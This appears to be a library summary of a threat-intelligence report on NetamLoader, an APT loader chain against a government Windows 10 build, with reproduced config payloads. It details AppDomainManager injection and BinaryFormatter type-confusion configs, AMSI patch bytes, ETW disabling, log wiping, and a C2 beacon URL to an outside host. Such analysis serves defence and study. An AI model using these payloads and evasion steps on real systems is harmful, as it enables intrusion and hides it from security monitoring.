# Unknown APT uses NetamLoader to attack a Win10 OS customized for governments in Asia

NetamLoader abuses AppDomainManager injection, BinaryFormatter deserialization and TypeConfuseDelegate to load XAML stages and a .NET plugin in dllhost.exe on a government Windows build.

- Payout: Real-world hack
- Program: Microsoft
- Analysis by: GReAT
- Disclosed: 2026-10-29
- Write-up quality: 8/10
- Original: https://securelist.com/netamloader/121676/
- Library page: https://bugbountylibrary.com/r/blog%3Asecurelist-com-netamloader-121676
- Tags: area:os domain:desktop impact:rce kind:incident platform:threat-intel tech:dotnet tech:windows technique:chained technique:source-review vuln:deserialization vuln:rce

**Target:** Patch My PC update runner / .NET CLR on custom Windows 10 build
**Root cause:** A crafted .config triggers AppDomainManager injection into a signed assembly whose DataCacheFactoryConfiguration class loads an attacker-chosen type from fabric.config; ResXResourceSet then BinaryFormatter-deserializes an embedded object, yielding TypeConfuseDelegate code execution.
**Steps:**
1. Place `PatchMyPC-ScriptRunner.exe.config` with `appDomainManagerType` = `Microsoft.ApplicationServer.Caching.DataCacheFactoryConfiguration` and `appDomainManagerAssembly` = `Microsoft.HostIntegration.Connectors, Version=1.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35` beside the signed runner.
2. Add `fabric.config` whose `className` points to `System.Resources.ResXResourceSet, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089(Resources.resx)`.
3. `Resources.resx` holds a Base64 BinaryFormatter object; deserialization triggers TypeConfuseDelegate and `XamlReader.Parse()` of XAML-1.
4. XAML-1 derives an AES key from SHA-256 of the lowercased command line, decrypts XAML-2 (first 16 bytes = IV) and loads it.
5. XAML-2 unzips Base64 XAML-2-1 (AMSI patch) and XAML-2-2 (.NET 1 Loader + JSON config).
6. XAML-2-1 patches `Console.Clear()` with `41 C7 00 01 00 00 00 33 C0 C3` and swaps the CAmsiAntimalware::Scan vtable pointer at +0x18 so scans return AMSI_RESULT_CLEAN.
7. .NET 1 Loader cleans logs/Prefetch, builds XAML-3 from `ibi`/`ibk`, sets `COMPlus_ETWEnabled=0`, and RPC-activates CLSID `ab8902b4-09ca-4bb6-b78d-a8f59079a8d5` to load XAML-3 in dllhost.exe.
8. XAML-P2 loads .NET 2 Plugin, which locks the surrogate via CoLockObjectExternal, jitters 20-40 min, then polls `https://openaigpt4v.com/model_v4/<ii>` with AES-CBC+HMAC encrypted `b` and `c` params.
**How found:** KSN flagged a .config file using AppDomainManager injection inside a CAB in the Windows update download folder; initial review found only signed Patch My PC binaries, so re-examination of the config and full load path revealed the chain.
**Exploitation:** Delivered as a CAB in C:\Windows\SoftwareDistribution\Download; the signed PatchMyPC-ScriptRunner.exe is launched with -updatepackage -applicationid=xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx, loading the malicious config and chaining XAML stages to run a .NET plugin in dllhost.exe that beacons to a Cloudflare-fronted C2 and executes downloaded XAML in an isolated AppDomain.
**Escalation:** Moves execution from the initial signed host into a dllhost.exe COM surrogate via RPC/TypeConfuseDelegate, and re-patches AMSI in the new process to evade EDR.
**Insight:** Signed .NET assemblies with config-loading classes (AppFabric DataCacheFactoryConfiguration) are viable AppDomainManager targets; pair them with a ResXResourceSet constructor arg to reach BinaryFormatter without shipping an obviously malicious assembly.

## Proof of concept (copied exactly from the original report)

**AppDomainManager injection config file**

```
<?xml version="1.0" encoding="utf-8" ?>
<configuration>
 <runtime>
 <appDomainManagerType value="Microsoft.ApplicationServer.Caching.DataCacheFactoryConfiguration">
 </appDomainManagerType>
 <appDomainManagerAssembly value="Microsoft.HostIntegration.Connectors, Version=1.0.0.0, 
 Culture=neutral, PublicKeyToken=31bf3856ad364e35">
 </appDomainManagerAssembly>
 <NGenAssemblyUsageLog enabled="0" />
 </runtime>
 <startup> 
 <supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.6" />
 </startup>
</configuration>
```

**fabric.config className type-confusion payload**

```
<?xml version="1.0" encoding="utf-8"?>
<section name="foo">
 <customType className="System.Resources.ResXResourceSet, System.Windows.Forms, 
 Version=4.0.0.0, Culture=neutral, 
 PublicKeyToken=b77a5c561934e089(Resources.resx)" />
</section>
```

**C2 beacon request URL with encrypted params**

```
"https://openaigpt4v[.]com/model_v4/94aafd58-c00c-402a-aae6-858b4486a1a4?b=lM4V3VwrWtXBy4oBGUkXOHfxyLUlrT2hIZGn4C37W1Z3%2FeW1WURJqzaNLQhGFHsWxA2lpJHZSpd8VDLMOQRD%2FfsDswnomIrBpoaNzug3dOtrh1J2KIqZRmKx1TtQsxq1RAGu1y45rSKaPHm9s2HF8A%3D%3D&c=41bd7f37-c3f6-4a9e-b2f3-5363e9a2c095"
```

